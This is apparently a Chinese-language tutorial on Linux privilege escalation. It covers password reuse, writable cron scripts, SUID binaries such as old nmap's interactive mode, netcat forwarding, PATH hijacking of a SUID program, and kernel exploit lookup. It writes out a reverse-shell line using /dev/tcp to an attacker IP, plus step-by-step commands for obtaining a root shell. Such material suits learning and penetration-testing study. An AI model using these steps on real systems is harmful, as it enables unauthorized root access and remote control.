参考文章
前言
粗略地看了一下,Windows 提权方式相较于 Linux 多太多了。所以先搞搞 Linux 提权。
基本知识
这是使用ls -l
命令得到的结果,通过此方式可以看到各用户对文件的权限
drwxr-xr-x 4 kali kali 4096 Jun 7 12:13 CVE-2020-0796
-rw-r--r-- 1 kali kali 2419716 Aug 17 06:14 result.txt
# 其中第一列各个字母/符号分别代表
- 表示无
d 表示这是一个目录,当然还有其他形式,如 l、b、c、p、s
r 可读,4
w 可写,2
x 可执行,1
# 第二列表示文件的硬链接数
# 第三/四列表示:文件(目录)拥有者、文件(目录)拥有者所在的组
# 后面的分别表示文件大小、创建时间以及名称
可以看到,第一列表示文件属性及权限的共有 10 个字符,除去第一个表示其是否为目录外
另外 9 个被分为 3 组,分别代表 拥有者权限、所在组权限、其他用户权限
可以使用 chmod
命令设置权限,例如 chmod -R 777 test
,-R
表示是对目录修改权限,当当前用户与文件所属用户不相符时,便没有权力更改这些属性
信息搜集工具:
linuxprivchecker
linux-exploit-suggester
exp 库:
Exploit-db
Linux 提权漏洞集合
方式
前提:有一个低权限的 shell,并能上传/下载文件
基于密码的提权
在前期对目标的信息搜集可能会得到一些存储着用户密码的文件,或者是在数据库中能得到一些账号密码。极有可能管理员会复用这些密码。于是便可以直接在 shell 中使用 sudo 命令(SSH 中不可用)尝试提权至管理员权限。还有就是查看一下桌面上的文件,有时候管理员为了方便记忆,会把一些账号密码放在桌面上的文件里。还有浏览器里面可能会存密码!
计划任务提权
一个简单但是不常见的方式。
系统内可能会有一些定时执行的任务,一般这些任务由 crontab 来管理,具有所属用户的权限。非 root 权限的用户是不可以列出 root 用户的计划任务的。但是 /etc/ 内系统的计划任务可以被所有用户列出
使用:ls -l /etc/cron*
默认这些程序以 root 权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写的管理员,我们就可以修改脚本反弹 shell 什么的了
例如发现一个这样的计划任务:
-rwxrwxrw- 1 root root 2419716 Aug 17 06:14 corn
发现其所有用户可读可写,于是便可以在其中添加 bash -i >& /dev/tcp/192.168.230.136/2333 0>&1
来反弹 shell,在攻击机上监听,当管理员登陆时,即可得到一个 root 权限的 shell
SUID 提权
SUID 是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行。
当以 root 身份给 SUID.py 文件执行 chmod u+s SUID.py
或者 chmod 4755 SUID.py
后,可以得到具有如下权限的文件
-rwSr-xr-x 1 root root 0 Aug 21 00:59 SUID.py # 可以看到,代表 拥有者组 执行权限的字符变成了 S,且普通用户也有执行权限
当普通用户执行带有 S 标志位的可执行文件时,便会以文件拥有者 root 的权限执行的
可以通过如下命令 find / -user root -perm -4000 -print 2>/dev/null
得到这种类型的文件
常见的有提权功能的 Linux 可执行文件有:
Nmap
Vim
find
Bash
More
Less
Nano
cp
例如 nmap:
较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell
具体操作:
nmap -interactive # 进入交互模式
nmap> !sh # 提供一个 root 权限的 shell
更多具体操作可以看这篇文章 Linux提权——利用可执行文件SUID
网络与隐藏的服务
有一些服务器的服务会被配置成对内网或者对本机开放。通过对他们的攻击我们有机会接触更多的敏感文件,或是运气足够好碰上一个远程 root 漏洞。
netstat -antup # 查看各种网络服务,如果找到些神秘的服务,可以用 netcat 做个转发
# 转发
mkfifo backpipe
nc -l 本地神秘服务端口 0<backpipe | nc 远程IP 端口 1>backpipe
环境变量提权
什么是环境变量:
环境变量相当于给系统或用户应用程序设置的一些参数,具体起什么作用和具体的环境变量相关。比如 path,是告诉系统,当要求系统运行一个程序而没有告诉它程序所在的完整路径时,系统除了在当前目录下面寻找(Linux 系统不会在当前目录下寻找,而实直接在环境变量里找)此程序外,还应到哪些目录下去寻找
PATH 便是 Linux 中的一个环境变量,用于指定存储可执行程序的所有 bin 和 sbin 目录,当用户在终端上执行任何命令时,它会通过 PATH 变量来响应用户执行的命令,并向 shell 发送请求以搜索可执行文件
简言之:比如你在终端中输入一个 nmap 命令,其实是执行一个二进制文件,按下回车之后,系统便会去 PATH 指定的目录下寻找一个叫做 namp 的可执行文件,找到了便会执行该文件,找不到则提示没有该文件/命令
可以通过 echo $PATH
查看 PATH 环境变量
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games # 以 : 作为分割符, . 代表当前目录
示例:
root 用户在 /temp 目录下编译了这样一个 shell.c 程序,得到一个叫做 shell 的可执行文件,并且执行了 chmod u+s shell
为其添加了 SUID 属性
#include<stdlib.h>
#include <unistd.h>
void main()
{
setuid(0);
system("ps");
}
得到:-rwSr-xr-x 1 root root 0 Aug 21 00:59 shell
此时攻击者取得了一个低权限的 shell,通过 find / -perm -u=s -type f 2>/dev/null
,搜索具有 SUID 或 4000 权限的文件,发现
/temp/shell
并且同样也找到了它的源文件 shell.c
发现它使用了 system 函数,由于 system 函数是继承环境变量的,因此便可以通过替换环境变量可以达到执行任意命令的效果。
- 获取一个 root 权限的 shell
具体命令操作:
cd /tmp # 首先切换到该目录下
echo "/bin/sh" > ps # 伪造一个 ps 文件
chmod 777 ps # 赋予所有用户所有权限
export PATH=/tmp:$PATH # 将 /temp 添加到环境变量
./shell # 执行 shell 文件
解释:
1.前提,c 程序中使用 system 函数调用了 ps 命令,由于 system 函数是继承环境变量的(即相当于在终端中执行命令),所以在执行 ps 时会去环境变量指定的目录中寻找一个叫 ps 的可执行文件
2.攻击者通过echo "/bin/sh" > ps
、chmod 777 ps
在 /temp 目录下伪造了一个叫做 ps 的可执行文件
3.然后,通过 export PATH=/tmp:$PATH
将 /temp 目录加到了环境变量中,由于系统寻找可执行文件的时候是从指定的目录中一个个找的,谁写在前面便会先去这个目录找,找到了就不继续找,找不到再继续去下一个目录找,直到没找到
4.执行./shell
命令时,程序先去环境变量指定的第一个文件夹(/temp)中寻找一个叫 ps 的可执行文件,由于事先伪造好了这样一个文件,于是该程序便会执行这个假的 ps 文件
5.而文件内容为 /bin/sh ,且该文件是由管理员创建具有 SUID 属性,执行时便以 root 权限执行,最终便得到了一个 root 权限的 shell,就相当于 root 用户在终端中执行了 /bin/sh
总结下来:
1.需要一个有 SUID 属性的文件
2.需要了解到文件的源码,且其中要有可被利用的特殊函数
3.什么鬼,这么难利用,放弃,卒
内核提权
怎么说呢, Linux 提权还是以内核提权为主,其他提权方式要求的前提太多。
首先,基础的信息收集:
# 查看内核版本
uname -a
# 查看发行版
cat /etc/issue
cat /etc/*-release
例如:
Linux ruion-PC 4.15.0-30deepin-generic #31 SMP Fri Nov 30 04:29:02 UTC 2018 x86_64 GNU/Linux
# 内核版本(4.15.0),cpu 架构(x86_64),和发行版(Deepin 15.11)
得到这些信息后,便可以通过 kali 中的 searchspoit 查找 exploitdb 中的漏洞利用代码
searchsploit linux priv esc 4.15 Deepin 15
然后,查看结果的具体要求的筛选过程,大部分 exp 都会写清生效条件
然后下载 exp 在被攻击机上编译、执行
当被攻击机上没有 gcc 编译器的时候,就需要本地搭建类似环境进行编译后上传可执行文件再执行
gcc exp.c -o exp
chomd 777 exp
./exp
当然也可以使用前文给的两个信息搜集工具进行搜集